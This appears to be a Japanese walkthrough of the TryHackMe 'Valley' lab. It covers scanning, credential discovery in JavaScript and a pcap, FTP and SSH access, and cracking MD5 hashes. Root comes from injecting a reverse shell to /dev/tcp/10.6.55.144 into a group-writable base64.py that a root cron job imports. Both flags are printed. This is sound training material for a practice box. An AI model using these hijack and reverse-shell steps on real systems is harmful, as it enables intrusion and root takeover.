【TryHackMe】Valley：Walkthrough

# 概要

TryHackMe「Valley」のWalkthroughです。

https://tryhackme.com/r/room/valleype

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.155.251 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
|   256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
|_  256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open     ftp     vsftpd 3.0.3
58652/tcp filtered unknown
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|
|37370|ftp|vsftpd 3.0.3|

Webサービスのディレクトリスキャンをします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.155.251/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 1163, Words: 176, Lines: 39, Duration: 242ms]
gallery                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
static                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 237ms]
pricing                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 238ms]
```

`/pricing/note.txt`を発見しました。

```/pricing/note.txt
J,
Please stop leaving notes randomly on the website
-RP
```

文言から他にもメモがありそうです。
さらにディレクトリスキャンをしていると`/static/00`を発見しました。

```
[INFO] Starting queued job on target: http://10.10.155.251/static/FUZZ

                        [Status: 200, Size: 567, Words: 43, Lines: 15, Duration: 238ms]
4                       [Status: 200, Size: 7389635, Words: 0, Lines: 0, Duration: 0ms]
00                      [Status: 200, Size: 127, Words: 15, Lines: 6, Duration: 301ms]
```

```/static/00
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
```

`/dev1243224123123`パスが書かれているのでアクセスするとログインページが表示されました。

![login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/de3317d5-83c0-b7a8-696e-20888cd123c0.jpeg)

ソースコードから`dev.js`を発見したのでコードを見ると認証情報を得られました。

```dev.js
loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})
```

ログインすると再度メモが表示されました。

```/dev1243224123123/devNotes37370.txt
dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
```

FTPで認証情報を使いまわせそうです。
FTPのログインに成功しました。

```
$ ftp -P 37370 10.10.155.251
Connected to 10.10.155.251.
220 (vsFTPd 3.0.3)
Name (10.10.155.251:kali): siemDev
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

3つのpcapファイルがあるのですべてダウンロードします。

```
ftp> ls
229 Entering Extended Passive Mode (|||65516|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06  2023 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06  2023 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06  2023 siemHTTP2.pcapng
226 Directory send OK.
```

`siemHTTP2.pcapng`の中でHTTPのPOSTリクエストパケットを発見しました。
それにより、ユーザー名とパスワードを得られました。

![pcap post.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a2673a87-ec98-41cc-3ce6-e2a00273e60c.jpeg)

得られた`Username: valleyDev`,`Password: ph0t0s1234`でSSHログインに成功しました。

```
$ ssh valleyDev@10.10.155.251
valleyDev@valley:~$
```

`/home/valleyDev/user.txt`からユーザーフラグを入手できました。

```/home/valleyDev/user.txt
THM{k@l1_1n_th3_v@lley}
```

**A**.**THM{k@l1_1n_th3_v@lley}**

## **Q2**.*What is the root flag?*

`/etc/crontab`を確認すると`/photos/script/photosEncrypt.py`を発見しました。

```
1  *    * * *   root    python3 /photos/script/photosEncrypt.py
```

コードの中身を見ます。

```/photos/script/photosEncrypt.py
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
        image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
        with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
        encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
        output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
        with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)
```

現状権限昇格のアプローチは見つかりませんでした。

`/home`を見ると`valleyAuthenticator`を発見しました。

```
$ ls -la
total 752
drwxr-xr-x  5 root      root        4096 Mar  6  2023 .
drwxr-xr-x 21 root      root        4096 Mar  6  2023 ..
drwxr-x---  4 siemDev   siemDev     4096 Mar 20  2023 siemDev
drwxr-x--- 16 valley    valley      4096 Mar 20  2023 valley
-rwxrwxr-x  1 valley    valley    749128 Aug 14  2022 valleyAuthenticator
drwxr-xr-x  6 valleyDev valleyDev   4096 Oct  4 06:14 valleyDev
```

実行するとユーザー名とパスワードを求められました。

```
$ ./valleyAuthenticator 
Welcome to Valley Inc. Authenticator
What is your username: valleyDev
What is your password: ph0t0s1234
Wrong Password or Username
```

Kaliにダウンロードします。
Netcatでリッスンします。

```
$ nc -nlvp 7777 | tar xf -
```

ターゲットマシンからファイルを送信します。

```
$ tar cf - valleyAuthenticator | nc 10.6.55.144 7777
```

`strings`コマンドで見るとUPXでパッキングされています。

```
$ strings valleyAuthenticator  
UPX!
```

アンパックします。

```
$ upx -d valleyAuthenticator               
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2290962 <-    749128   32.70%   linux/amd64   valleyAuthenticator

Unpacked 1 file.
```

ファイルの中にパスワードがあるか確認します。

```
$ strings valleyAuthenticator | grep password -C 10
[]A\A]A^
t*f.
[]A\
I9\$xv.I
T$pH
tKU1
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username: 
What is your password:
```

ハッシュ値の様な文字列を得られたので解析するとユーザー名とパスワードを確認できました。

```
$ john hash1 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
liberty123       (?)

$ john hash2 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
valley           (?)
```

得られた認証情報で`valley`アカウントに昇格できました。

```
$ su valley
Password: 
valley@valley:/home$
```

再度`/photos/script/photosEncrypt.py`に注目すると`base64`ライブラリが使用されています。
ライブラリのパスを確認します。

```
$ locate base64.py
/snap/core20/1611/usr/lib/python3.8/base64.py
/snap/core20/1828/usr/lib/python3.8/base64.py
/usr/lib/python3.8/base64.py
```

パーミッションを確認すると`valleyAdmin`グループに書き込み権限があります。

```
$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13  2023 /usr/lib/python3.8/base64.py
```

`valley`アカウントは`valleyAdmin`グループに所属しています。

```
$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
```

`/usr/lib/python3.8/base64.py`にリバースシェルのペイロードを追記します。

```/usr/lib/python3.8/base64.py
#! /usr/bin/python3.8

"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""

# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere

import re
import struct
import binascii
# 追記
import os

# 追記
os.system('bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"')

__all__ = [
    # Legacy interface exports traditional RFC 2045 Base64 encodings

(省略)
```

Netcatでリッスンしているとrootのシェルを張れました。

```
$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.155.251] 39184
bash: cannot set terminal process group (57223): Inappropriate ioctl for device
bash: no job control in this shell
root@valley:~#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
```

**A**.**THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}**